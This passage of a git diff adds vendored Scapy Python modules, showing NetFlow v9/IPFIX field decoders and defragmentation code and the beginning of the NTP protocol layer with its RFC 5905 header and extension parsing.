+ self, name, default, length + ) + + +# TODO: There are hundreds of entries to add to the following :( +# https://tools.ietf.org/html/rfc5655 +# ==> feel free to contribute :D +NetflowV9TemplateFieldDecoders = { + # Only contains fields that have a fixed length + # ID: Field, + # or + # ID: (Field, [*optional_parameters]), + 4: (ByteEnumField, [IP_PROTOS]), # PROTOCOL + 5: XByteField, # TOS + 6: ByteField, # TCP_FLAGS + 7: ShortField, # L4_SRC_PORT + 8: IPField, # IPV4_SRC_ADDR + 9: ByteField, # SRC_MASK + 11: ShortField, # L4_DST_PORT + 12: IPField, # IPV4_DST_PORT + 13: ByteField, # DST_MASK + 15: IPField, # IPv4_NEXT_HOP + 16: ShortOrInt, # SRC_AS + 17: ShortOrInt, # DST_AS + 18: IPField, # BGP_IPv4_NEXT_HOP + 21: (SecondsIntField, [True]), # LAST_SWITCHED + 22: (SecondsIntField, [True]), # FIRST_SWITCHED + 27: IP6Field, # IPV6_SRC_ADDR + 28: IP6Field, # IPV6_DST_ADDR + 29: ByteField, # IPV6_SRC_MASK + 30: ByteField, # IPV6_DST_MASK + 31: ThreeBytesField, # IPV6_FLOW_LABEL + 32: XShortField, # ICMP_TYPE + 33: ByteField, # MUL_IGMP_TYPE + 34: IntField, # SAMPLING_INTERVAL + 35: XByteField, # SAMPLING_ALGORITHM + 36: ShortField, # FLOW_ACTIVE_TIMEOUT + 37: ShortField, # FLOW_ACTIVE_TIMEOUT + 38: ByteField, # ENGINE_TYPE + 39: ByteField, # ENGINE_ID + 46: (ByteEnumField, [{0x00: "UNKNOWN", 0x01: "TE-MIDPT", 0x02: "ATOM", 0x03: "VPN", 0x04: "BGP", 0x05: "LDP"}]), # MPLS_TOP_LABEL_TYPE # noqa: E501 + 47: IPField, # MPLS_TOP_LABEL_IP_ADDR + 48: ByteField, # FLOW_SAMPLER_ID + 49: ByteField, # FLOW_SAMPLER_MODE + 50: IntField, # FLOW_SAMPLER_RANDOM_INTERVAL + 55: XByteField, # DST_TOS + 56: MACField, # SRC_MAC + 57: MACField, # DST_MAC + 58: ShortField, # SRC_VLAN + 59: ShortField, # DST_VLAN + 60: ByteField, # IP_PROTOCOL_VERSION + 61: (ByteEnumField, [{0x00: "Ingress flow", 0x01: "Egress flow"}]), # DIRECTION # noqa: E501 + 62: IP6Field, # IPV6_NEXT_HOP + 63: IP6Field, # BGP_IPV6_NEXT_HOP + 130: IPField, # exporterIPv4Address + 131: IP6Field, # exporterIPv6Address + 150: N9UTCTimeField, # flowStartSeconds + 151: N9UTCTimeField, # flowEndSeconds + 152: (N9UTCTimeField, [True]), # flowStartMilliseconds + 153: (N9UTCTimeField, [True]), # flowEndMilliseconds + 154: (N9UTCTimeField, [False, True]), # flowStartMicroseconds + 155: (N9UTCTimeField, [False, True]), # flowEndMicroseconds + 156: (N9UTCTimeField, [False, False, True]), # flowStartNanoseconds + 157: (N9UTCTimeField, [False, False, True]), # flowEndNanoseconds + 158: (N9SecondsIntField, [False, True]), # flowStartDeltaMicroseconds + 159: (N9SecondsIntField, [False, True]), # flowEndDeltaMicroseconds + 160: (N9UTCTimeField, [True]), # systemInitTimeMilliseconds + 161: (N9SecondsIntField, [True]), # flowDurationMilliseconds + 162: (N9SecondsIntField, [False, True]), # flowDurationMicroseconds + 211: IPField, # collectorIPv4Address + 212: IP6Field, # collectorIPv6Address + 225: IPField, # postNATSourceIPv4Address + 226: IPField, # postNATDestinationIPv4Address + 258: (N9SecondsIntField, [True]), # collectionTimeMilliseconds + 260: N9SecondsIntField, # maxExportSeconds + 261: N9SecondsIntField, # maxFlowEndSeconds + 264: N9SecondsIntField, # minExportSeconds + 265: N9SecondsIntField, # minFlowStartSeconds + 268: (N9UTCTimeField, [False, True]), # maxFlowEndMicroseconds + 269: (N9UTCTimeField, [True]), # maxFlowEndMilliseconds + 270: (N9UTCTimeField, [False, False, True]), # maxFlowEndNanoseconds + 271: (N9UTCTimeField, [False, True]), # minFlowStartMicroseconds + 272: (N9UTCTimeField, [True]), # minFlowStartMilliseconds + 273: (N9UTCTimeField, [False, False, True]), # minFlowStartNanoseconds + 279: N9SecondsIntField, # connectionSumDurationSeconds + 281: IP6Field, # postNATSourceIPv6Address + 282: IP6Field, # postNATDestinationIPv6Address + 322: N9UTCTimeField, # observationTimeSeconds + 323: (N9UTCTimeField, [True]), # observationTimeMilliseconds + 324: (N9UTCTimeField, [False, True]), # observationTimeMicroseconds + 325: (N9UTCTimeField, [False, False, True]), # observationTimeNanoseconds + 365: MACField, # staMacAddress + 366: IPField, # staIPv4Address + 367: MACField, # wtpMacAddress + 380: IPField, # distinctCountOfSourceIPv4Address + 381: IPField, # distinctCountOfDestinationIPv4Address + 382: IP6Field, # distinctCountOfSourceIPv6Address + 383: IP6Field, # distinctCountOfDestinationIPv6Address + 403: IPField, # originalExporterIPv4Address + 404: IP6Field, # originalExporterIPv6Address + 414: MACField, # dot1qCustomerSourceMacAddress + 415: MACField, # dot1qCustomerDestinationMacAddress + 432: IPField, # pseudoWireDestinationIPv4Address + 24632: IPField, # NAT_LOG_FIELD_IDX_IPV4_INT_ADDR + 24633: IPField, # NAT_LOG_FIELD_IDX_IPV4_EXT_ADDR + 40001: IPField, # XLATE_SRC_ADDR_IPV4 + 40002: IPField, # XLATE_DST_ADDR_IPV4 + 114 + NTOP_BASE: IPField, # UNTUNNELED_IPV4_SRC_ADDR + 116 + NTOP_BASE: IPField, # UNTUNNELED_IPV4_DST_ADDR + 143 + NTOP_BASE: IPField, # SIP_RTP_IPV4_SRC_ADDR + 145 + NTOP_BASE: IPField, # SIP_RTP_IPV4_DST_ADDR + 353 + NTOP_BASE: MACField, # DHCP_CLIENT_MAC + 396 + NTOP_BASE: IP6Field, # UNTUNNELED_IPV6_SRC_ADDR + 397 + NTOP_BASE: IP6Field, # UNTUNNELED_IPV6_DST_ADDR + 471 + NTOP_BASE: IPField, # NPROBE_IPV4_ADDRESS +} + + +class NetflowHeaderV9(Packet): + name = "Netflow Header V9" + fields_desc = [ShortField("count", None), + IntField("sysUptime", 0), + UTCTimeField("unixSecs", None), + IntField("packageSequence", 0), + IntField("SourceID", 0)] + + def post_build(self, pkt, pay): + if self.count is None: + count = sum(1 for x in self.layers() if x in [ + NetflowFlowsetV9, + NetflowDataflowsetV9, + NetflowOptionsFlowsetV9] + ) + pkt = struct.pack("!H", count) + pkt[2:] + return pkt + pay + + +# https://tools.ietf.org/html/rfc5655#appendix-B.1.1 +class NetflowHeaderV10(Packet): + """IPFix (Netflow V10) Header""" + name = "IPFix (Netflow V10) Header" + fields_desc = [ShortField("length", None), + UTCTimeField("ExportTime", 0), + IntField("flowSequence", 0), + IntField("ObservationDomainID", 0)] + + def post_build(self, pkt, pay): + if self.length is None: + length = len(pkt) + len(pay) + pkt = struct.pack("!H", length) + pkt[2:] + return pkt + pay + + +class NetflowTemplateFieldV9(Packet): + name = "Netflow Flowset Template Field V9/10" + fields_desc = [BitField("enterpriseBit", 0, 1), + BitEnumField("fieldType", None, 15, + NetflowV910TemplateFieldTypes), + ShortField("fieldLength", 0), + ConditionalField(IntField("enterpriseNumber", 0), + lambda p: p.enterpriseBit)] + + def __init__(self, *args, **kwargs): + Packet.__init__(self, *args, **kwargs) + if self.fieldType is not None and not self.fieldLength and self.fieldType in NetflowV9TemplateFieldDefaultLengths: # noqa: E501 + self.fieldLength = NetflowV9TemplateFieldDefaultLengths[self.fieldType] # noqa: E501 + + def default_payload_class(self, p): + return conf.padding_layer + + +class NetflowTemplateV9(Packet): + name = "Netflow Flowset Template V9/10" + fields_desc = [ShortField("templateID", 255), + FieldLenField("fieldCount", None, count_of="template_fields"), # noqa: E501 + PacketListField("template_fields", [], NetflowTemplateFieldV9, # noqa: E501 + count_from=lambda pkt: pkt.fieldCount)] + + def default_payload_class(self, p): + return conf.padding_layer + + +class NetflowFlowsetV9(Packet): + name = "Netflow FlowSet V9/10" + fields_desc = [ShortField("flowSetID", 0), + FieldLenField("length", None, length_of="templates", + adjust=lambda pkt, x:x + 4), + PacketListField("templates", [], NetflowTemplateV9, + length_from=lambda pkt: pkt.length - 4)] + + +class _CustomStrFixedLenField(StrFixedLenField): + def i2repr(self, pkt, v): + return repr(v) + + +def _GenNetflowRecordV9(cls, lengths_list): + """Internal function used to generate the Records from + their template. + """ + _fields_desc = [] + for j, k in lengths_list: + _f_data = NetflowV9TemplateFieldDecoders.get(k, None) + _f_type, _f_args = ( + _f_data if isinstance(_f_data, tuple) else (_f_data, []) + ) + _f_kwargs = {} + if _f_type: + if issubclass(_f_type, _AdjustableNetflowField): + _f_kwargs["length"] = j + _fields_desc.append( + _f_type( + NetflowV910TemplateFieldTypes.get(k, "unknown_data"), + 0, *_f_args, **_f_kwargs + ) + ) + else: + _fields_desc.append( + _CustomStrFixedLenField( + NetflowV910TemplateFieldTypes.get(k, "unknown_data"), + b"", length=j + ) + ) + + # This will act exactly like a NetflowRecordV9, but has custom fields + class NetflowRecordV9I(cls): + fields_desc = _fields_desc + match_subclass = True + NetflowRecordV9I.name = cls.name + NetflowRecordV9I.__name__ = cls.__name__ + return NetflowRecordV9I + + +def GetNetflowRecordV9(flowset, templateID=None): + """ + Get a NetflowRecordV9/10 for a specific NetflowFlowsetV9/10. + + Have a look at the online doc for examples. + """ + definitions = {} + for ntv9 in flowset.templates: + llist = [] + for tmpl in ntv9.template_fields: + llist.append((tmpl.fieldLength, tmpl.fieldType)) + if llist: + cls = _GenNetflowRecordV9(NetflowRecordV9, llist) + definitions[ntv9.templateID] = cls + if not definitions: + raise Scapy_Exception( + "No template IDs detected" + ) + if len(definitions) > 1: + if templateID is None: + raise Scapy_Exception( + "Multiple possible templates ! Specify templateID=.." + ) + return definitions[templateID] + else: + return list(definitions.values())[0] + + +class NetflowRecordV9(Packet): + name = "Netflow DataFlowset Record V9/10" + fields_desc = [StrField("fieldValue", "")] + + def default_payload_class(self, p): + return conf.padding_layer + + +class NetflowDataflowsetV9(Packet): + name = "Netflow DataFlowSet V9/10" + fields_desc = [ShortField("templateID", 255), + FieldLenField("length", None, length_of="records", + adjust=lambda pkt, x: x + 4 + (-x % 4)), + PadField( + PacketListField( + "records", [], + NetflowRecordV9, + length_from=lambda pkt: pkt.length - 4 + ), 4, padwith=b"\x00")] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt: + # https://tools.ietf.org/html/rfc5655#appendix-B.1.2 + # NetflowV9 + if _pkt[:2] == b"\x00\x00": + return NetflowFlowsetV9 + if _pkt[:2] == b"\x00\x01": + return NetflowOptionsFlowsetV9 + # IPFix + if _pkt[:2] == b"\x00\x02": + return NetflowFlowsetV9 + if _pkt[:2] == b"\x00\x03": + return NetflowOptionsFlowset10 + return cls + + +def _netflowv9_defragment_packet(pkt, definitions, definitions_opts, ignored): + """Used internally to process a single packet during defragmenting""" + # Dataflowset definitions + if NetflowFlowsetV9 in pkt: + current = pkt + while NetflowFlowsetV9 in current: + current = current[NetflowFlowsetV9] + for ntv9 in current.templates: + llist = [] + for tmpl in ntv9.template_fields: + llist.append((tmpl.fieldLength, tmpl.fieldType)) + if llist: + tot_len = sum(x[0] for x in llist) + cls = _GenNetflowRecordV9(NetflowRecordV9, llist) + definitions[ntv9.templateID] = (tot_len, cls) + current = current.payload + # Options definitions + if NetflowOptionsFlowsetV9 in pkt: + current = pkt + while NetflowOptionsFlowsetV9 in current: + current = current[NetflowOptionsFlowsetV9] + # Load scopes + llist = [] + for scope in current.scopes: + llist.append(( + scope.scopeFieldlength, + scope.scopeFieldType + )) + scope_tot_len = sum(x[0] for x in llist) + scope_cls = _GenNetflowRecordV9( + NetflowOptionsRecordScopeV9, + llist + ) + # Load options + llist = [] + for opt in current.options: + llist.append(( + opt.optionFieldlength, + opt.optionFieldType + )) + option_tot_len = sum(x[0] for x in llist) + option_cls = _GenNetflowRecordV9( + NetflowOptionsRecordOptionV9, + llist + ) + # Storage + definitions_opts[current.templateID] = ( + scope_tot_len, scope_cls, + option_tot_len, option_cls + ) + current = current.payload + # Dissect flowsets + if NetflowDataflowsetV9 in pkt: + datafl = pkt[NetflowDataflowsetV9] + tid = datafl.templateID + if tid not in definitions and tid not in definitions_opts: + ignored.add(tid) + return + # All data is stored in one record, awaiting to be split + # If fieldValue is available, the record has not been + # defragmented: pop it + try: + data = datafl.records[0].fieldValue + datafl.records.pop(0) + except (IndexError, AttributeError): + return + res = [] + # Flowset record + # Now, according to the flow/option data, + # let's re-dissect NetflowDataflowsetV9 + if tid in definitions: + tot_len, cls = definitions[tid] + while len(data) >= tot_len: + res.append(cls(data[:tot_len])) + data = data[tot_len:] + # Inject dissected data + datafl.records = res + if data: + if len(data) <= 4: + datafl.add_payload(conf.padding_layer(data)) + else: + datafl.do_dissect_payload(data) + # Options + elif tid in definitions_opts: + (scope_len, scope_cls, + option_len, option_cls) = definitions_opts[tid] + # Dissect scopes + if scope_len: + res.append(scope_cls(data[:scope_len])) + if option_len: + res.append( + option_cls(data[scope_len:scope_len + option_len]) + ) + if len(data) > scope_len + option_len: + res.append( + conf.padding_layer(data[scope_len + option_len:]) + ) + # Inject dissected data + datafl.records = res + datafl.name = "Netflow DataFlowSet V9/10 - OPTIONS" + + +def netflowv9_defragment(plist, verb=1): + """Process all NetflowV9/10 Packets to match IDs of the DataFlowsets + with the Headers + + params: + - plist: the list of mixed NetflowV9/10 packets. + - verb: verbose print (0/1) + """ + if not isinstance(plist, (PacketList, list)): + plist = [plist] + # We need the whole packet to be dissected to access field def in + # NetflowFlowsetV9 or NetflowOptionsFlowsetV9/10 + definitions = {} + definitions_opts = {} + ignored = set() + # Iterate through initial list + for pkt in plist: + _netflowv9_defragment_packet(pkt, + definitions, + definitions_opts, + ignored) + if conf.verb >= 1 and ignored: + warning("Ignored templateIDs (missing): %s" % list(ignored)) + return plist + + +def ipfix_defragment(*args, **kwargs): + """Alias for netflowv9_defragment""" + return netflowv9_defragment(*args, **kwargs) + + +class NetflowSession(IPSession): + """Session used to defragment NetflowV9/10 packets on the flow. + See help(scapy.layers.netflow) for more infos. + """ + def __init__(self, *args): + IPSession.__init__(self, *args) + self.definitions = {} + self.definitions_opts = {} + self.ignored = set() + + def _process_packet(self, pkt): + _netflowv9_defragment_packet(pkt, + self.definitions, + self.definitions_opts, + self.ignored) + return pkt + + def on_packet_received(self, pkt): + # First, defragment IP if necessary + pkt = self._ip_process_packet(pkt) + # Now handle NetflowV9 defragmentation + pkt = self._process_packet(pkt) + DefaultSession.on_packet_received(self, pkt) + + +class NetflowOptionsRecordScopeV9(NetflowRecordV9): + name = "Netflow Options Template Record V9/10 - Scope" + + +class NetflowOptionsRecordOptionV9(NetflowRecordV9): + name = "Netflow Options Template Record V9/10 - Option" + + +# Aka Set +class NetflowOptionsFlowsetOptionV9(Packet): + name = "Netflow Options Template FlowSet V9/10 - Option" + fields_desc = [BitField("enterpriseBit", 0, 1), + BitEnumField("optionFieldType", None, 15, + NetflowV910TemplateFieldTypes), + ShortField("optionFieldlength", 0), + ConditionalField(ShortField("enterpriseNumber", 0), + lambda p: p.enterpriseBit)] + + def default_payload_class(self, p): + return conf.padding_layer + + +# Aka Set +class NetflowOptionsFlowsetScopeV9(Packet): + name = "Netflow Options Template FlowSet V9/10 - Scope" + fields_desc = [ShortEnumField("scopeFieldType", None, ScopeFieldTypes), + ShortField("scopeFieldlength", 0)] + + def default_payload_class(self, p): + return conf.padding_layer + + +class NetflowOptionsFlowsetV9(Packet): + name = "Netflow Options Template FlowSet V9" + fields_desc = [ShortField("flowSetID", 1), + ShortField("length", None), + ShortField("templateID", 255), + FieldLenField("option_scope_length", None, + length_of="scopes"), + FieldLenField("option_field_length", None, + length_of="options"), + # We can't use PadField as we have 2 PacketListField + PacketListField( + "scopes", [], + NetflowOptionsFlowsetScopeV9, + length_from=lambda pkt: pkt.option_scope_length), + PacketListField( + "options", [], + NetflowOptionsFlowsetOptionV9, + length_from=lambda pkt: pkt.option_field_length), + StrLenField("pad", None, length_from=lambda pkt: ( + pkt.length - pkt.option_scope_length - + pkt.option_field_length - 10))] + + def default_payload_class(self, p): + return conf.padding_layer + + def post_build(self, pkt, pay): + if self.length is None: + pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] + if self.pad is None: + # Padding 4-bytes with b"\x00" + start = 10 + self.option_scope_length + self.option_field_length + pkt = pkt[:start] + (-len(pkt) % 4) * b"\x00" + return pkt + pay + + +# https://tools.ietf.org/html/rfc5101#section-3.4.2.2 +class NetflowOptionsFlowset10(NetflowOptionsFlowsetV9): + """Netflow V10 (IPFix) Options Template FlowSet""" + name = "Netflow V10 (IPFix) Options Template FlowSet" + fields_desc = [ShortField("flowSetID", 3), + ShortField("length", None), + ShortField("templateID", 255), + # Slightly different counting than in its NetflowV9 + # counterpart: we count the total, and among them which + # ones are scopes. Also, it's count, not length + FieldLenField("field_count", None, + count_of="options", + adjust=lambda pkt, x: ( + x + pkt.get_field( + "scope_field_count").i2m(pkt, None))), + FieldLenField("scope_field_count", None, + count_of="scopes"), + # We can't use PadField as we have 2 PacketListField + PacketListField( + "scopes", [], + NetflowOptionsFlowsetScopeV9, + count_from=lambda pkt: pkt.scope_field_count), + PacketListField( + "options", [], + NetflowOptionsFlowsetOptionV9, + count_from=lambda pkt: ( + pkt.field_count - pkt.scope_field_count + )), + StrLenField("pad", None, length_from=lambda pkt: ( + pkt.length - (pkt.scope_field_count * 4) - 10))] + + def post_build(self, pkt, pay): + if self.length is None: + pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] + if self.pad is None: + # Padding 4-bytes with b"\x00" + start = 10 + self.scope_field_count * 4 + pkt = pkt[:start] + (-len(pkt) % 4) * b"\x00" + return pkt + pay + + +bind_layers(NetflowHeader, NetflowHeaderV9, version=9) +bind_layers(NetflowHeaderV9, NetflowDataflowsetV9) +bind_layers(NetflowDataflowsetV9, NetflowDataflowsetV9) +bind_layers(NetflowOptionsFlowsetV9, NetflowDataflowsetV9) +bind_layers(NetflowFlowsetV9, NetflowDataflowsetV9) + +# Apart from the first header, IPFix and NetflowV9 have the same format +# (except the Options Template) +# https://tools.ietf.org/html/rfc5655#appendix-B.1.2 +bind_layers(NetflowHeader, NetflowHeaderV10, version=10) +bind_layers(NetflowHeaderV10, NetflowDataflowsetV9) diff --git a/libs/scapy/layers/ntp.py b/libs/scapy/layers/ntp.py new file mode 100755 index 0000000..e54eb28 --- /dev/null +++ b/libs/scapy/layers/ntp.py @@ -0,0 +1,1821 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +NTP (Network Time Protocol). +References : RFC 5905, RC 1305, ntpd source code +""" + +from __future__ import absolute_import +import struct +import time +import datetime + +from scapy.packet import Packet, bind_layers +from scapy.fields import BitField, BitEnumField, ByteField, ByteEnumField, \ + XByteField, SignedByteField, FlagsField, ShortField, LEShortField, \ + IntField, LEIntField, FixedPointField, IPField, StrField, \ + StrFixedLenField, StrFixedLenEnumField, XStrFixedLenField, PacketField, \ + PacketLenField, PacketListField, FieldListField, ConditionalField, \ + PadField +from scapy.layers.inet6 import IP6Field +from scapy.layers.inet import UDP +from scapy.utils import lhex +from scapy.compat import orb +from scapy.config import conf +import scapy.modules.six as six +from scapy.modules.six.moves import range + + +############################################################################# +# Constants +############################################################################# + +_NTP_AUTH_MD5_MIN_SIZE = 68 +_NTP_EXT_MIN_SIZE = 16 +_NTP_HDR_WITH_EXT_MIN_SIZE = _NTP_AUTH_MD5_MIN_SIZE + _NTP_EXT_MIN_SIZE +_NTP_AUTH_MD5_TAIL_SIZE = 20 +_NTP_AUTH_MD5_DGST_SIZE = 16 +_NTP_PRIVATE_PACKET_MIN_SIZE = 8 + +# ntpd "Private" messages are the shortest +_NTP_PACKET_MIN_SIZE = _NTP_PRIVATE_PACKET_MIN_SIZE + +_NTP_PRIVATE_REQ_PKT_TAIL_LEN = 28 + +# seconds between 01-01-1900 and 01-01-1970 +_NTP_BASETIME = 2208988800 + +# include/ntp.h +_NTP_SHIFT = 8 +_NTP_HASH_SIZE = 128 + + +############################################################################# +# Fields and utilities +############################################################################# + +class XLEShortField(LEShortField): + """ + XShortField which value is encoded in little endian. + """ + + def i2repr(self, pkt, x): + return lhex(self.i2h(pkt, x)) + + +class TimeStampField(FixedPointField): + """ + This field handles the timestamp fields in the NTP header. + """ + + def __init__(self, name, default): + FixedPointField.__init__(self, name, default, 64, 32) + + def i2repr(self, pkt, val): + if val is None: + return "--" + val = self.i2h(pkt, val) + if val < _NTP_BASETIME: + return val + return time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(val - _NTP_BASETIME)) # noqa: E501 + + def any2i(self, pkt, val): + if isinstance(val, six.string_types): + val = int(time.mktime(time.strptime(val))) + _NTP_BASETIME + elif isinstance(val, datetime.datetime): + val = int(val.strftime("%s")) + _NTP_BASETIME + return FixedPointField.any2i(self, pkt, val) + + def i2m(self, pkt, val): + if val is None: + val = FixedPointField.any2i(self, pkt, time.time() + _NTP_BASETIME) + return FixedPointField.i2m(self, pkt, val) + + +############################################################################# +# NTP +############################################################################# + +# RFC 5905 / Section 7.3 +_leap_indicator = { + 0: "no warning", + 1: "last minute of the day has 61 seconds", + 2: "last minute of the day has 59 seconds", + 3: "unknown (clock unsynchronized)" +} + + +# RFC 5905 / Section 7.3 +_ntp_modes = { + 0: "reserved", + 1: "symmetric active", + 2: "symmetric passive", + 3: "client", + 4: "server", + 5: "broadcast", + 6: "NTP control message", + 7: "reserved for private use" +} + + +# RFC 5905 / Section 7.3 +_reference_identifiers = { + "GOES": "Geosynchronous Orbit Environment Satellite", + "GPS ": "Global Position System", + "GAL ": "Galileo Positioning System", + "PPS ": "Generic pulse-per-second", + "IRIG": "Inter-Range Instrumentation Group", + "WWVB": "LF Radio WWVB Ft. Collins, CO 60 kHz", + "DCF ": "LF Radio DCF77 Mainflingen, DE 77.5 kHz", + "HBG ": "LF Radio HBG Prangins, HB 75 kHz", + "MSF ": "LF Radio MSF Anthorn, UK 60 kHz", + "JJY ": "LF Radio JJY Fukushima, JP 40 kHz, Saga, JP 60 kHz", + "LORC": "MF Radio LORAN C station, 100 kHz", + "TDF ": "MF Radio Allouis, FR 162 kHz", + "CHU ": "HF Radio CHU Ottawa, Ontario", + "WWV ": "HF Radio WWV Ft. Collins, CO", + "WWVH": "HF Radio WWVH Kauai, HI", + "NIST": "NIST telephone modem", + "ACTS": "NIST telephone modem", + "USNO": "USNO telephone modem", + "PTB ": "European telephone modem", +} + + +# RFC 5905 / Section 7.4 +_kiss_codes = { + "ACST": "The association belongs to a unicast server.", + "AUTH": "Server authentication failed.", + "AUTO": "Autokey sequence failed.", + "BCST": "The association belongs to a broadcast server.", + "CRYP": "Cryptographic authentication or identification failed.", + "DENY": "Access denied by remote server.", + "DROP": "Lost peer in symmetric mode.", + "RSTR": "Access denied due to local policy.", + "INIT": "The association has not yet synchronized for the first time.", + "MCST": "The association belongs to a dynamically discovered server.", + "NKEY": "No key found.", + "RATE": "Rate exceeded.", + "RMOT": "Alteration of association from a remote host running ntpdc." +} + + +# Used by _ntp_dispatcher to instantiate the appropriate class +def _ntp_dispatcher(payload): + """ + Returns the right class for a given NTP packet. + """ + # By default, calling NTP() will build a NTP packet as defined in RFC 5905 + # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC. + if payload is None: + return NTPHeader + else: + length = len(payload) + if length >= _NTP_PACKET_MIN_SIZE: + first_byte = orb(payload[0]) + # Extract NTP mode + mode = first_byte & 7 + return {6: NTPControl, 7: NTPPrivate}.get(mode, NTPHeader) + return conf.raw_layer + + +class NTP(Packet): + """ + Base class that allows easier instantiation of a NTP packet from binary + data. + """ + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + """ + Returns the right class for the given data. + """ + + return _ntp_dispatcher(_pkt) + + def pre_dissect(self, s): + """ + Check that the payload is long enough to build a NTP packet. + """ + length = len(s) + if length < _NTP_PACKET_MIN_SIZE: + err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE " + err += "({})).".format(_NTP_PACKET_MIN_SIZE) + raise _NTPInvalidDataException(err) + return s + + def mysummary(self): + return self.sprintf("NTP v%ir,NTP.version%, %NTP.mode%") + + +class _NTPAuthenticatorPaddingField(StrField): + """ + StrField handling the padding that may be found before the + "authenticator" field. + """ + + def getfield(self, pkt, s): + ret = None + remain = s + length = len(s) + + if length > _NTP_AUTH_MD5_TAIL_SIZE: + start = length - _NTP_AUTH_MD5_TAIL_SIZE + ret = s[:start] + remain = s[start:] + return remain, ret + + +class NTPAuthenticator(Packet): + """ + Packet handling the "authenticator" part of a NTP packet, as + defined in RFC 5905. + """ + + name = "Authenticator" + fields_desc = [ + _NTPAuthenticatorPaddingField("padding", ""), + IntField("key_id", 0), + XStrFixedLenField("dgst", "", length_from=lambda x: 16) + ] + + def extract_padding(self, s): + return b"", s + + +class NTPExtension(Packet): + """ + Packet handling a NTPv4 extension. + """ + + ######################################################################### + # + # RFC 7822 + ######################################################################### + # + # 7.5. NTP Extension Field Format + # + # In NTPv3, one or more extension fields can be inserted after the + # header and before the MAC, if a MAC is present. + # + # Other than defining the field format, this document makes no use + # of the field contents. An extension field contains a request or + # response message in the format shown in Figure 14. + # + # 0 1 2 3 + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | Field Type | Length | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # . . + # . Value . + # . . + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | Padding (as needed) | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # + # Figure 14: Extension Field Format + # + # + # All extension fields are zero-padded to a word (four octets) + # boundary. + ######################################################################### + # + + name = "extension" + fields_desc = [ + ShortField("type", 0), + ShortField("len", 0), + PadField(PacketField("value", "", Packet), align=4, padwith=b"\x00") + ] + + +class NTPExtPacketListField(PacketListField): + + """ + PacketListField handling NTPv4 extensions (NTPExtension list). + """ + + def m2i(self, pkt, m): + ret = None + if len(m) >= 16: + ret = NTPExtension(m) + else: + ret = conf.raw_layer(m) + return ret + + def getfield(self, pkt, s): + lst = [] + remain = s + length = len(s) + if length > _NTP_AUTH_MD5_TAIL_SIZE: + end = length - _NTP_AUTH_MD5_TAIL_SIZE + extensions = s[:end] + remain = s[end:] + + extensions_len = len(extensions) + while extensions_len >= 16: + ext_len = struct.unpack("!H", extensions[2:4])[0] + ext_len = min(ext_len, extensions_len) + if ext_len < 1: + ext_len = extensions_len + current = extensions[:ext_len] + extensions = extensions[ext_len:] + current_packet = self.m2i(pkt, current) + lst.append(current_packet) + extensions_len = len(extensions) + + if extensions_len > 0: + lst.append(self.m2i(pkt, extensions)) + + return remain, lst + + +class NTPExtensions(Packet): + """ + Packet handling the NTPv4 extensions and the "MAC part" of the packet. + """ + + ######################################################################### + # + # RFC 5905 / RFC 7822 + ######################################################################### + # + # 7.5. NTP Extension Field Format + # + # In NTPv4, one or more extension fields can be inserted after the + # header and before the MAC, if a MAC is present. + ######################################################################### + # + + name = "NTPv4 extensions" + fields_desc = [ + NTPExtPacketListField("extensions", [], Packet), + PacketField("mac", NTPAuthenticator(), NTPAuthenticator) + ] + + +class NTPHeader(NTP): + + """ + Packet handling the RFC 5905 NTP packet. + """ + + ######################################################################### + # + # RFC 5905 + ######################################################################### + # + # 0 1 2 3 + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # |LI | VN |Mode | Stratum | Poll | Precision | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | Root Delay | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | Root Dispersion | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | Reference ID | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | | + # + Reference Timestamp (64) + + # | | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | | + # + Origin Timestamp (64) + + # | | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | | + # + Receive Timestamp (64) + + # | | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | | + # + Transmit Timestamp (64) + + # | | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | | + # . . + # . Extension Field 1 (variable) . + # . . + # | | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | | + # . . + # . Extension Field 2 (variable) . + # . . + # | | + # 